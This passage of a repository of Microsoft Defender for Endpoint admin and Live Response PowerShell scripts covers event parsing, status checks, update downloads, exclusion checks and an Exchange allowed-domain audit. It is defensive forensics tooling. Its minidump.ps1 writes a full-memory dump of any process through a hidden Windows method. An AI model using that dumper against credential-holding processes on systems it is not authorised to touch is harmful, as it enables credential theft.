(IGMP)"; 52 | "66" = "MIT Remote Virtual Disk (RVD)"; 53 | "89" = "OSPF Open Shortest Path First"; 54 | "12" = "PARC Universal Packet Protocol (PUP)"; 55 | "27" = "Reliable Datagram Protocol (RDP)"; 56 | "46" = "Reservation Protocol (RSVP) QoS"; 57 | } 58 | } 59 | Process{ 60 | $EventHashTable = @{ 61 | LogName = "Security" 62 | ID = 5031,5150,5151,5155,5157,5159,5152,5153 63 | } 64 | $Result = [System.Collections.ArrayList]::new() 65 | $EventData = Get-WinEvent -FilterHashtable $EventHashTable -MaxEvents $MaxEvents -ErrorAction SilentlyContinue 66 | 67 | ForEach($logentry in $EventData){ 68 | $ParsedEventLogData = [xml]$logentry[0].ToXml() 69 | $Detail = $ParsedEventLogData.Event.EventData.data 70 | $object = [PSCustomObject]@{ 71 | TimeCreated = $logentry.TimeCreated 72 | EventID = $logentry.Id 73 | Description = $fweventcodes["$($Logentry.Id)"] 74 | ComputerName = $logentry.MachineName 75 | ProviderName = $logentry.ProviderName 76 | TaskDisplayName = $logentry.TaskDisplayName 77 | ProviderGUID = $ParsedEventLogData.Event.System.Provider.guid 78 | ProcessID = $Detail[0].'#Text' 79 | Application = $Detail[1].'#Text' 80 | Direction = $Detail[2].'#Text' 81 | DirectionName = if ($Detail[2].'#text' -eq "%%14592"){"Inbound"} Elseif($Detail[2].'#text' -eq "%%14593") {"Outbound"} Else{"Undefined"} 82 | SourceAddress = $Detail[3].'#Text' 83 | SourcePort = $Detail[4].'#text' 84 | DestAddress = $Detail[5].'#text' 85 | DestPort = $Detail[6].'#text' 86 | Protocol = $Detail[7].'#Text' 87 | ProtocolName = $protocolcodes["$($Detail[7].'#Text')"] 88 | } 89 | [void]$Result.Add($object) 90 | } 91 | } 92 | End{ 93 | $Result 94 | } 95 | } 96 | Get-WFPEventsLR2 -MaxEvents 100 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/Run-LRWhoami.ps1: -------------------------------------------------------------------------------- 1 | Function Run-LRWhoami 2 | { 3 | <# 4 | .Synopsis 5 | Executes whoami witin an MDATP Live response session 6 | 7 | .Description 8 | Executes whoami witin an MDATP Live response session 9 | 10 | Within an MDATP Live Response session run the following commands to download the content to the machine 11 | putfile Run-LRWhoami.ps1 12 | 13 | run the following command witin the live response session to execute the sript 14 | run Run-LRWhoami.ps1 15 | 16 | #> 17 | whoami /ALL /FO TABLE 18 | } 19 | 20 | ## Run it 21 | Run-LRWhoami -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/Run-scquery.ps1: -------------------------------------------------------------------------------- 1 | Function Run-scquery 2 | { 3 | <# 4 | .Synopsis 5 | Executes sc querywitin an MDATP Live response session 6 | 7 | .Description 8 | Executes sc query witin an MDATP Live response session 9 | 10 | Within an MDATP Live Response session run the following commands to download the content to the machine 11 | putfile Run-scquery.ps1 12 | 13 | run the following command witin the live response session to execute the sript 14 | run Run-sqquery.ps1 15 | 16 | #> 17 | Start-Process sc -ArgumentList "query" -NoNewWindow 18 | } 19 | 20 | ## Run it 21 | Run-scquery -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/defenderinfo.ps1: -------------------------------------------------------------------------------- 1 | Write-Host 2 | Write-Host ====================================== Defender Info ====================================== 3 | get-mpcomputerstatus 4 | 5 | 6 | Write-Host ====================================== Defender settings Info ============================= 7 | get-mppreference 8 | 9 | 10 | -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/minidump.ps1: -------------------------------------------------------------------------------- 1 | $process_arg=$args[0] 2 | 3 | function MiniDumpWriteDump 4 | { 5 | [CmdletBinding()] 6 | Param ( 7 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] 8 | [System.Diagnostics.Process] 9 | $Process 10 | ) 11 | BEGIN 12 | { 13 | $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting') 14 | $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic') 15 | $Flags = [Reflection.BindingFlags] 'NonPublic, Static' 16 | $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags) 17 | $MiniDumpWithFullMemory = [UInt32] 2 18 | } 19 | PROCESS 20 | { 21 | # get the process dump 22 | $ProcessId = $Process.Id 23 | $ProcessName = $Process.Name 24 | $ProcessHandle = $Process.Handle 25 | $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp" 26 | $ProcessDumpPath = $env:TEMP + "\$([IO.Path]::GetRandomFileName())_" + $ProcessFileName 27 | $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create) 28 | $Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle, $ProcessId, $FileStream.SafeFileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)) 29 | $FileStream.Close() 30 | 31 | if (-not $Result) 32 | { 33 | # Remove any partially written dump files. For example, a partial dump will be written 34 | # in the case when 32-bit PowerShell tries to dump a 64-bit process. 35 | $Exception = New-Object ComponentModel.Win32Exception 36 | $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))" 37 | Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue 38 | throw $ExceptionMessage 39 | } 40 | # Compress to ZIP 41 | $OutputFilePathZip = "$($ProcessDumpPath).zip" 42 | Compress-Archive -Path $ProcessDumpPath -DestinationPath $OutputFilePathZip 43 | Remove-Item -Path $ProcessDumpPath -ErrorAction SilentlyContinue 44 | # write path to file and size 45 | Write $OutputFilePathZip 46 | Write "$([int]((Get-Item $OutputFilePathZip).length / 1024 / 1024)) MB" 47 | } 48 | 49 | END {} 50 | 51 | } 52 | 53 | 54 | try { 55 | # by pid 56 | $process_id = [convert]::ToInt32($process_arg, 10) 57 | Get-Process -Id $process_id | MiniDumpWriteDump 58 | } 59 | catch { 60 | # by name 61 | Get-Process $process_arg | MiniDumpWriteDump 62 | } -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/processsample.ps1: -------------------------------------------------------------------------------- 1 |  2 | 3 | Param( 4 | $ProcessName 5 | ) 6 | 7 | if([string]::IsNullOrEmpty($ProcessName)) 8 | { 9 | Get-Process -Name * -IncludeUserName 10 | } 11 | Else 12 | { 13 | Get-Process -Name $ProcessName -IncludeUserName 14 | } 15 | -------------------------------------------------------------------------------- /LiveResponse/Library/Scripts/remove-file.ps1: -------------------------------------------------------------------------------- 1 |  2 | Param($FullName) 3 | write-host "Removing File" 4 | #Remove-Item -Path "$FullName" -Force 5 | 6 | write-host "Removing File" 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /LiveResponse/Library/Tools/ntfsinfo64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/LiveResponse/Library/Tools/ntfsinfo64.exe -------------------------------------------------------------------------------- /LiveResponse/Readme.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender Advanced Threat Protection - Live Response 2 | 3 | # Help 4 | 5 | ``` 6 | help 7 | 8 | C:\> help 9 | For more information on a specific command, type HELP command-name 10 | 11 | analyze Analyzes the entity for threats and returns a verdict (malicious, clean, suspicious) 12 | cd Changes the current folder 13 | cls Clears the console screen 14 | connect Establishes connection with the machine for the live response session 15 | connections Shows all active connections 16 | dir Shows the list of files and sub-folders in a folder 17 | drivers Shows all drivers installed on the machine 18 | fileinfo Shows information about a file 19 | findfile Locates files with a given name on the machine 20 | getfile Downloads a file from the machine 21 | help Shows information about live response commands 22 | library Lists or takes action on files in the live response library 23 | persistence Shows all known persistence methods on the machine 24 | processes Shows all processes running on the machine 25 | putfile Uploads a file from the library to a temporary working folder on the machine 26 | registry Shows information about specific keys or values in the registry 27 | remediate Remediates an entity on the machine. The remediation action taken will vary depending on the type of entity 28 | run Runs a PowerShell script from the library on the machine 29 | scheduledtasks Shows all scheduled tasks on the machine 30 | services Shows all the services on the machine 31 | trace Sets logging on this console to debug mode 32 | undo Restores an entity that was remediated 33 | ``` 34 | -------------------------------------------------------------------------------- /PowerShell/CI_DefenderMAPS_Discovery.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | CI_DefenderMAPS_Discovery 4 | .DESCRIPTION 5 | Script for Configuration Manager - Configuration Item 6 | 7 | The CI_DefenderMAPS_Discovery script checks whether the client 8 | can successfully communicate communicate with the Windows 9 | Defender Antivirus cloud service (MAPS) 10 | 11 | https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/configure-network-connections-windows-defender-antivirus 12 | .NOTES 13 | v1.0, 11.07.2019, alex verboon 14 | #> 15 | 16 | $DefenderPlatformPath = "C:\ProgramData\Microsoft\Windows Defender\Platform" 17 | $mpcmdrunpath = (Get-ChildItem -Path "$DefenderPlatformPath\*\mpcmdrun.exe" -ErrorAction SilentlyContinue | Select-Object * -Last 1).FullName 18 | If ([string]::IsNullOrEmpty($mpcmdrunpath)) 19 | { 20 | return $false 21 | } 22 | Else 23 | { 24 | $cmdArg = "-validatemapsconnection" 25 | $CheckResult = Start-Process -FilePath "$mpcmdrunpath" -ArgumentList "$cmdArg" -WindowStyle Hidden -PassThru -Wait 26 | $MAPSConnectivity = switch ($CheckResult.ExitCode) 27 | { 28 | 0 { $true} 29 | default {$false} 30 | } 31 | If ($MAPSConnectivity -eq "True") 32 | { 33 | return $true 34 | } 35 | Else 36 | { 37 | return $false 38 | } 39 | } 40 | 41 | -------------------------------------------------------------------------------- /PowerShell/Download-DefenderUpdates.ps1: -------------------------------------------------------------------------------- 1 | function Download-DefenderUpdates 2 | { 3 | <# 4 | .Synopsis 5 | Download-DefenderUpdates 6 | .DESCRIPTION 7 | Download-DefenderUpdates downloads the latest defender updates into the 8 | specified path. 9 | 10 | Create a scheduled task that executes Powershell -ExecutionPolicy Bypass \\Download-DefenderUpdates.ps1 11 | 12 | .PARAMETER Path 13 | The path to store the defender updates 14 | .EXAMPLE 15 | Download-DefenderUpdates 16 | .EXAMPLE 17 | Download-DefenderUpdates 18 | .NOTES 19 | Author: Alex Verboon 20 | Version: 1.0 21 | Date: 07.11.2019 22 | Source: https://demo.wd.microsoft.com/ 23 | 24 | #> 25 | [CmdletBinding()] 26 | [Alias()] 27 | [OutputType([int])] 28 | Param 29 | ( 30 | # Path where Defender updates are stored 31 | [Parameter(Mandatory=$true, 32 | ValueFromPipelineByPropertyName=$true, 33 | Position=0)] 34 | $Path="c:\wdav-update" 35 | ) 36 | 37 | Begin 38 | { 39 | Write-Verbose "Defender updates download path: $path" 40 | $vdmpathbase = "$Path\{00000000-0000-0000-0000-" 41 | $vdmpathtime = Get-Date -format "yMMddHHmmss" 42 | $vdmpath = $vdmpathbase + $vdmpathtime + '}' 43 | $vdmpackage = $vdmpath + '\mpam-fe.exe' 44 | $args = @("/x") 45 | } 46 | Process 47 | { 48 | Try{ 49 | Write-Verbose "Creating directory $vdmpath" 50 | New-Item -ItemType Directory -Force -Path $vdmpath | Out-Null 51 | } 52 | Catch{ 53 | Write-Error "Error creating Defender Download Path $Path" 54 | Break 55 | } 56 | 57 | Try 58 | { 59 | Write-Verbose "Downloading Defender update package to $vdmpackage" 60 | Invoke-WebRequest -Uri 'https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64' -OutFile $vdmpackage 61 | } 62 | Catch{ 63 | Write-Error "Error downloading Defender Updates" 64 | } 65 | 66 | Try{ 67 | Write-Verbose "Extracting $vdmpackage to $vdmpath" 68 | cmd /c "cd $vdmpath & c: & mpam-fe.exe /x" 69 | } 70 | Catch 71 | { 72 | Write-Error "Error extracting defender update content" 73 | } 74 | } 75 | End 76 | { 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /PowerShell/Get-DefenderEGEvents.ps1: -------------------------------------------------------------------------------- 1 | function Get-DefenderEGEvents 2 | { 3 | <# 4 | .Synopsis 5 | Get-DefenderEGEvents 6 | 7 | .DESCRIPTION 8 | Get-DefenderEGEvents retrieves Windows Defender Exploit Guard related events 9 | 10 | .PARAMETER Component 11 | When not specified all Exploit Guard related events are retrieved. Otherwise use 12 | 13 | CFA for Controlled Folder Access 14 | NP for Network Protection 15 | ASR for Attack Surface Rules 16 | 17 | The current version of this function does not yet include events 18 | for Exploit Protetion. 19 | 20 | 21 | .PARAMETER EGMode 22 | Filter for Audit or Block Events 23 | 24 | .PARAMETER MaxEvents 25 | Specifies the maximum number of events that Get-DefenderEGEvents returns. Enter an integer. The default is to return 26 | all the Windows Defender Exploit Guard events in the logs. 27 | 28 | #> 29 | [CmdletBinding()] 30 | 31 | Param 32 | ( 33 | # Exploit Guard Component selection 34 | [Parameter(Mandatory=$false, 35 | ValueFromPipelineByPropertyName=$true, 36 | Position=0)] 37 | [ValidateSet('ASR', 'CFA','NP')] 38 | $Component, 39 | 40 | [Parameter(Mandatory=$false, 41 | ValueFromPipelineByPropertyName=$true, 42 | Position=1)] 43 | [ValidateSet('Audit', 'Block')] 44 | $EGMode, 45 | 46 | # MaxEvents 47 | [Parameter(Mandatory=$false, 48 | ValueFromPipelineByPropertyName=$true, 49 | Position=2)] 50 | [int] 51 | $MaxEvents 52 | ) 53 | 54 | Begin 55 | { 56 | 57 | If ($Component) 58 | { 59 | $EGComponent = "EG"+"$Component" 60 | } 61 | 62 | 63 | #Controlled Folder Access 64 | # 1124 Audit 65 | # 1123 Block 66 | 67 | # Network Protection 68 | # 1125 Audit 69 | # 1126 Block 70 | 71 | # Attack Surface Rules 72 | # 1121 Block 73 | # 1122 Audit 74 | 75 | $log = @{ 76 | Providername = "Microsoft-Windows-Windows Defender" 77 | ID = "1123","1124","1125","1126","1121","1122" 78 | } 79 | } 80 | Process 81 | { 82 | $output = @() 83 | If ($MaxEvents) 84 | { 85 | $events = Get-WinEvent -FilterHashtable $log -MaxEvents $MaxEvents 86 | Write-Verbose "Total $($events.count)" 87 | } 88 | Else 89 | { 90 | $events = Get-WinEvent -FilterHashtable $log 91 | Write-Verbose "Total $($events.count)" 92 | } 93 | 94 | ForEach ($event in $events) 95 | { 96 | Switch ($event.Id) 97 | { 98 | 1124 { $Source = "EGCFA" ; $Mode = "Audit"} 99 | 1123 { $Source = "EGCFA" ; $Mode = "Block"} 100 | 1125 { $Source = "EGNP"; $Mode = "Audit"} 101 | 1126 { $Source = "EGNP" ; $Mode = "Block"} 102 | 1121 { $Source = "EGASR" ; $Mode = "Block"} 103 | 1122 { $Source = "EGASR" ; $Mode = "Audit"} 104 | 105 | Default {$Source = "None" ; $Mode = "None"} 106 | } 107 | $event | Add-Member -MemberType NoteProperty -Name "EGSource" -Value "$Source" 108 | $event | Add-Member -MemberType NoteProperty -Name "EGMode" -Value "$Mode" 109 | $output = $output + $event 110 | } 111 | } 112 | End 113 | { 114 | 115 | If ($Component) 116 | { 117 | Write-Verbose "Component: $($Component)" 118 | 119 | If ($EGMode) 120 | { 121 | Write-Verbose "Mode: $($EGMode)" 122 | $output | Where-Object {$_.EGSource -eq "$EGComponent" -and $_.EGMode -eq "$EGMode"} 123 | } 124 | Else 125 | { 126 | Write-Verbose "Component: $($Component) with no MODE" 127 | $output | Where-Object {$_.EGSource -eq "$EGComponent"} 128 | } 129 | } 130 | Else 131 | { 132 | If ($EGMode) 133 | { 134 | Write-Verbose "Mode: $($EGMode) with no component" 135 | $output | Where-Object {$_.EGMode -eq "$EGMode"} 136 | } 137 | Else 138 | { 139 | Write-Verbose "All" 140 | $output 141 | } 142 | } 143 | 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /PowerShell/MDO-AllowedDomainsKQLprep.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Module ExchangeOnlineManagement 2 | <# 3 | .DESCRIPTION 4 | This script checks if any accepted domains are whitelisted in anti-spam policy and prepares 5 | the KQL query for further analysis in Microsoft 365 Defender. 6 | .INPUTS 7 | None. You cannot pipe objects to the script. 8 | .OUTPUTS 9 | KQL query to check if mails in the past were affected. 10 | .NOTES 11 | Script created to check if an envirionment is affected by roadmap change 93436 12 | https://www.microsoft.com/de-ch/microsoft-365/roadmap?owM365RoadmapSearchInput=93436&owM365RoadmapSearchButton=&filters=&searchterms=93436 13 | 14 | Authors: Yves Fankhauser, Alex Verboon 15 | Version 1.0.0 16 | 17 | .ROLE 18 | Service Account need Security reader role. 19 | .FUNCTIONALITY 20 | 21 | #> 22 | #Establish Exchange online conneciton 23 | Connect-ExchangeOnline 24 | #Get all accepted (owned) domains of the organization 25 | $OwnedDomains = Get-AcceptedDomain | Select DomainName 26 | #Get content of all filter policy 27 | $Policies = Get-HostedContentFilterPolicy 28 | $AllowedDomain = @() 29 | $AllowedSenderDomain = @() 30 | $AllowedSenderAddress = @() 31 | $OwnedDomainInAllowedDomain = @() 32 | $OwnedDomainInAllowedAllowedSenderDomain= @() 33 | 34 | #Save all allowed (whitelisted) domains & users into an array 35 | ForEach($policy in $Policies){ 36 | $AllowedDomain += $policy.AllowedSenderDomains.Domain 37 | $AllowedSenderDomain += $policy.AllowedSenders.Sender.Domain 38 | #$AllowedSenderAddress += $policy.AllowedSenders.Sender.Address 39 | } 40 | 41 | #check if any accepted (owned) domain or user is whitelisted 42 | $OwnedDomains | ForEach-Object{ 43 | If ($AllowedDomain -contains $_.DomainName){ 44 | Write-Host "$($_.DomainName) is in the allowed domain list" 45 | $OwnedDomainInAllowedDomain += $_.DomainName 46 | } 47 | If ($AllowedUser -contains $_.DomainName){ 48 | Write-Host "User(s) from the domain $($_.DomainName) is in the allowed domain list" 49 | $OwnedDomainInAllowedAllowedSenderDomain += $_.DomainName 50 | } 51 | } 52 | Disconnect-ExchangeOnline -confirm:$false 53 | 54 | $pOwneddomains = ($OwnedDomains.DomainName -join '","') 55 | $letowneddomains = 'let owneddomains = dynamic ([' + '"' + $pOwneddomains + '"' + ']);' 56 | 57 | $pAllowedDomains = ($AllowedDomain -join '","') 58 | $letalloweddomains = 'let alloweddomains = dynamic ([' + '"' + $pAllowedDomains + '"' + ']);' 59 | 60 | $pAllowedSenderDomain = ($AllowedSenderDomain -join '","') 61 | $letAllowedSenderDomain = 'let AllowedSenderDomain = dynamic ([' + '"' + $pAllowedSenderDomain + '"' + ']);' 62 | 63 | #$pAllowedSenderAddress = ($AllowedSenderAddress -join '","') 64 | #$letAllowedSenderAddress = 'let AllowedSenderAddress = dynamic ([' + '"' + $pAllowedSenderAddress + '"' + ']);' 65 | 66 | $pOwnedDomainInAllowedDomain = ($OwnedDomainInAllowedDomain -join '","') 67 | $letOwnedDomainInAllowedDomain = 'let OwnedDomainInAllowedDomain = dynamic ([' + '"' + $pOwnedDomainInAllowedDomain + '"' + ']);' 68 | 69 | $pOwnedDomainInAllowedAllowedSenderDomain = ($OwnedDomainInAllowedAllowedSenderDomain -join '","') 70 | $letpOwnedDomainInAllowedAllowedSenderDomain = 'let OwnedDomainInAllowedAllowedSenderDomain = dynamic ([' + '"' + $pOwnedDomainInAllowedAllowedSenderDomain + '"' + ']);' 71 | 72 | 73 | $kqlquery = @" 74 | // owned domains 75 | $letowneddomains 76 | // Allowed Domains 77 | $letalloweddomains 78 | // Allowed Sender Domains 79 | $letAllowedSenderDomain 80 | // Allowed Sender Addresses 81 | // $letAllowedSenderAddress 82 | // Owned domains that are in the allowed domain list 83 | $letOwnedDomainInAllowedDomain 84 | // Owned domains that are in the allowed sender domain list 85 | $letpOwnedDomainInAllowedAllowedSenderDomain 86 | EmailEvents 87 | |where Timestamp > ago (30d) 88 | | where SenderFromDomain in (OwnedDomainInAllowedDomain) 89 | //| where SenderFromDomain in (OwnedDomainInAllowedAllowedSenderDomain) 90 | | project Timestamp, AR=parse_json(AuthenticationDetails) , NetworkMessageId, EmailDirection, Subject, SenderFromAddress, SenderIPv4, DeliveryLocation , OrgLevelAction, OrgLevelPolicy, UserLevelPolicy, UserLevelAction 91 | | evaluate bag_unpack(AR) 92 | | where DeliveryLocation contains "Inbox" 93 | | where EmailDirection == @"Inbound" 94 | | where OrgLevelAction contains "Allow" 95 | | where OrgLevelPolicy == @"Sender domain list (Safe domain / Blocked domain)" 96 | | where DKIM != "pass" or SPF != "pass" or DMARC != 'pass' 97 | | where DMARC == 'fail' 98 | "@ 99 | 100 | $kqlquery | clip 101 | Write-Host "KQL query saved to clipboard" -------------------------------------------------------------------------------- /PowerShell/Validate-DefenderExclusion.ps1: -------------------------------------------------------------------------------- 1 | function Validate-DefenderExclusion 2 | <# 3 | .Synopsis 4 | Validate-DefenderExclusion 5 | .DESCRIPTION 6 | Validate-DefenderExclusion checks whether the specified path or file is excluded. 7 | The cmdlet will return the following information 8 | 9 | - The path of the specified folder or file 10 | - The result of the check, True, False or PathNotFound 11 | 12 | .PARAMETER Path 13 | Specifies a path to a folder or file to be checked 14 | .EXAMPLE 15 | 16 | Validate-DefenderExclusion -Path C:\AutomatedLab-VMs 17 | 18 | Path Excluded 19 | ---- -------- 20 | C:\AutomatedLab-VMs True 21 | 22 | This command checks whether the specified folder has a Defender Exclusion 23 | 24 | .NOTES 25 | 1.0, 21.03.2019, alex verboon 26 | #> 27 | { 28 | [CmdletBinding()] 29 | Param 30 | ( 31 | [Parameter(Mandatory=$true, 32 | ValueFromPipelineByPropertyName=$true, 33 | Position=0)] 34 | [ValidateNotNullOrEmpty()] 35 | [string]$Path 36 | ) 37 | Begin 38 | { 39 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(` 40 | [Security.Principal.WindowsBuiltInRole] “Administrator”)) 41 | { 42 | Write-Warning “You do not have Administrator rights to run this script!`nPlease re-run this script as an Administrator!” 43 | Break 44 | } 45 | 46 | # Find the current most recent path of the Defender mpcmdrun.exe 47 | $DefenderPlatformPath = "C:\ProgramData\Microsoft\Windows Defender\Platform" 48 | $mpcmdrunpath = (Get-ChildItem -Path "$DefenderPlatformPath\*\mpcmdrun.exe" | Select-Object * -Last 1).FullName 49 | 50 | If ([string]::IsNullOrEmpty($mpcmdrunpath)) 51 | { 52 | Write-Error "Unable to locate mpcmdrun.exe" 53 | } 54 | } 55 | Process 56 | { 57 | $cmdArg = "-CheckExclusion -Path $($Path)" 58 | $CheckResult = Start-Process -FilePath "$mpcmdrunpath" -ArgumentList "$cmdArg" -NoNewWindow -PassThru -Wait 59 | #$CheckResult.ExitCode 60 | 61 | switch ($CheckResult.ExitCode) 62 | { 63 | 0 { $Excluded = "True"} 64 | 1 { $Excluded = "False"} 65 | 2 { $Excluded = "PathNotFound"} 66 | } 67 | 68 | $Result = [ordered]@{ 69 | Path = $Path 70 | Excluded = $Excluded 71 | } 72 | $output = (New-Object -TypeName PSObject -Property $Result) 73 | 74 | } 75 | End 76 | { 77 | $output 78 | } 79 | } -------------------------------------------------------------------------------- /PowerShell/alloweddomain.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Module ExchangeOnlineManagement 2 | <# 3 | .DESCRIPTION 4 | This script checks if any accepted domains are whitelisted in anti-spam policy. 5 | .INPUTS 6 | None. You cannot pipe objects to the script. 7 | .OUTPUTS 8 | KQL query to check if mails in the past were affected. 9 | .NOTES 10 | Script created to check if an envirionment is affected by roadmap change 93436 11 | https://www.microsoft.com/de-ch/microsoft-365/roadmap?owM365RoadmapSearchInput=93436&owM365RoadmapSearchButton=&filters=&searchterms=93436 12 | 13 | Authors: Yves Fankhauser, Alex Verboon 14 | Version 1.0.0 15 | 16 | .ROLE 17 | Service Account need Security reader role. 18 | .FUNCTIONALITY 19 | 20 | #> 21 | #Establish Exchange online conneciton 22 | Connect-ExchangeOnline 23 | #Get all accepted (owned) domains of the organization 24 | $OwnedDomains = Get-AcceptedDomain | Select DomainName 25 | #Get content of all filter policy 26 | $Policies = Get-HostedContentFilterPolicy 27 | $AllowedDomain = @() 28 | $AllowedSenderDomain = @() 29 | $AllowedSenderAddress = @() 30 | $OwnedDomainInAllowedDomain = @() 31 | $OwnedDomainInAllowedAllowedSenderDomain= @() 32 | 33 | #Save all allowed (whitelisted) domains & users into an array 34 | ForEach($policy in $Policies){ 35 | $AllowedDomain += $policy.AllowedSenderDomains.Domain 36 | $AllowedSenderDomain += $policy.AllowedSenders.Sender.Domain 37 | #$AllowedSenderAddress += $policy.AllowedSenders.Sender.Address 38 | } 39 | 40 | #check if any accepted (owned) domain or user is whitelisted 41 | $OwnedDomains | ForEach-Object{ 42 | If ($AllowedDomain -contains $_.DomainName){ 43 | Write-Host "$($_.DomainName) is in the allowed domain list" 44 | $OwnedDomainInAllowedDomain += $_.DomainName 45 | } 46 | If ($AllowedUser -contains $_.DomainName){ 47 | Write-Host "User(s) from the domain $($_.DomainName) is in the allowed domain list" 48 | $OwnedDomainInAllowedAllowedSenderDomain += $_.DomainName 49 | } 50 | } 51 | Disconnect-ExchangeOnline -confirm:$false 52 | 53 | $pOwneddomains = ($OwnedDomains.DomainName -join '","') 54 | $letowneddomains = 'let owneddomains = dynamic ([' + '"' + $pOwneddomains + '"' + ']);' 55 | 56 | $pAllowedDomains = ($AllowedDomain -join '","') 57 | $letalloweddomains = 'let alloweddomains = dynamic ([' + '"' + $pAllowedDomains + '"' + ']);' 58 | 59 | $pAllowedSenderDomain = ($AllowedSenderDomain -join '","') 60 | $letAllowedSenderDomain = 'let AllowedSenderDomain = dynamic ([' + '"' + $pAllowedSenderDomain + '"' + ']);' 61 | 62 | #$pAllowedSenderAddress = ($AllowedSenderAddress -join '","') 63 | #$letAllowedSenderAddress = 'let AllowedSenderAddress = dynamic ([' + '"' + $pAllowedSenderAddress + '"' + ']);' 64 | 65 | $pOwnedDomainInAllowedDomain = ($OwnedDomainInAllowedDomain -join '","') 66 | $letOwnedDomainInAllowedDomain = 'let OwnedDomainInAllowedDomain = dynamic ([' + '"' + $pOwnedDomainInAllowedDomain + '"' + ']);' 67 | 68 | $pOwnedDomainInAllowedAllowedSenderDomain = ($OwnedDomainInAllowedAllowedSenderDomain -join '","') 69 | $letpOwnedDomainInAllowedAllowedSenderDomain = 'let OwnedDomainInAllowedAllowedSenderDomain = dynamic ([' + '"' + $pOwnedDomainInAllowedAllowedSenderDomain + '"' + ']);' 70 | 71 | 72 | $kqlquery = @" 73 | // owned domains 74 | $letowneddomains 75 | // Allowed Domains 76 | $letalloweddomains 77 | // Allowed Sender Domains 78 | $letAllowedSenderDomain 79 | // Allowed Sender Addresses 80 | // $letAllowedSenderAddress 81 | // Owned domains that are in the allowed domain list 82 | $letOwnedDomainInAllowedDomain 83 | // Owned domains that are in the allowed sender domain list 84 | $letpOwnedDomainInAllowedAllowedSenderDomain 85 | EmailEvents 86 | |where Timestamp > ago (30d) 87 | | where SenderFromDomain in (OwnedDomainInAllowedDomain) 88 | //| where SenderFromDomain in (OwnedDomainInAllowedAllowedSenderDomain) 89 | | project Timestamp, AR=parse_json(AuthenticationDetails) , NetworkMessageId, EmailDirection, Subject, SenderFromAddress, SenderIPv4, DeliveryLocation , OrgLevelAction, OrgLevelPolicy, UserLevelPolicy, UserLevelAction 90 | | evaluate bag_unpack(AR) 91 | | where DeliveryLocation contains "Inbox" 92 | | where EmailDirection == @"Inbound" 93 | | where OrgLevelAction contains "Allow" 94 | | where OrgLevelPolicy == @"Sender domain list (Safe domain / Blocked domain)" 95 | | where DKIM != "pass" or SPF != "pass" or DMARC != 'pass' 96 | | where DMARC == 'fail' 97 | "@ 98 | 99 | $kqlquery | clip -------------------------------------------------------------------------------- /PowerShell/lastconnected.ps1: -------------------------------------------------------------------------------- 1 | # Last MDE Connection Timestamp 2 | $reg = "HKLM:\Software\Microsoft\Windows Advanced Threat Protection\Status" 3 | $lastconnected = Get-itempropertyvalue $reg -Name LastConnected 4 | [datetime]::fromFiletime([int64]::parse($lastconnected)) 5 | 6 | 7 | # Last connection to MDE Channel - attempt 8 | $reg = "HKLM:\SOFTWARE\Microsoft\SenseCM" 9 | $lastconnected = Get-itempropertyvalue $reg -Name LastCheckinAttempt 10 | [datetime]::fromFiletime([int64]::parse($lastconnected)) 11 | 12 | # Last connection to MDE Channel - success 13 | $reg = "HKLM:\SOFTWARE\Microsoft\SenseCM" 14 | $lastconnected = Get-itempropertyvalue $reg -Name LastCheckinSuccess 15 | [datetime]::fromFiletime([int64]::parse($lastconnected)) 16 | 17 | 18 | # maps 19 | $reg = "HKLM:\SOFTWARE\Microsoft\Windows Defender\Spynet" 20 | $lastconnected = Get-itempropertyvalue $reg -Name LastMAPSSuccessTime 21 | [datetime]::fromFiletime([int64]::parse($lastconnected)) 22 | -------------------------------------------------------------------------------- /PowerShell/mdeevents.txt: -------------------------------------------------------------------------------- 1 | # Defender logs 2 | $log = @{ 3 | Providername = "Microsoft-Windows-Windows Defender" 4 | } 5 | $events = Get-WinEvent -FilterHashtable $log 6 | $events | fl 7 | 8 | # Defender for Endpoint logs 9 | 10 | $log = @{ 11 | Providername = "Microsoft-Windows-SENSE" 12 | } 13 | $events = Get-WinEvent -FilterHashtable $log 14 | $events | fl -------------------------------------------------------------------------------- /PowerShell/readme.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender Advanced Threat Protection PowerShell Scripts 2 | 3 | PowerShell CmdLets and code snippets to interact with Windows Defender or Microsoft Defender Advanced Threat Protection 4 | 5 | ## Microsoft Defender Advanced Threat Protection PowerShell Module 6 | 7 | * [PSMDATP](https://github.com/alexverboon/PSMDATP) 8 | 9 | --- 10 | 11 | ## Get-DefenderATPStatus 12 | 13 | Get-DefenderATPStatus retrieves the Agent and configuration status of Windows Defender ATP on a Windows 10 device 14 | 15 | ```powershell 16 | Get-DefenderATPStatus 17 | 18 | ComputerName : DESKTOP-002 19 | OnboardingState : True 20 | OSBuild : 18363 21 | OSEditionID : Enterprise 22 | OSProductName : Windows 10 Enterprise 23 | Machinebuildnumber : Microsoft Windows NT 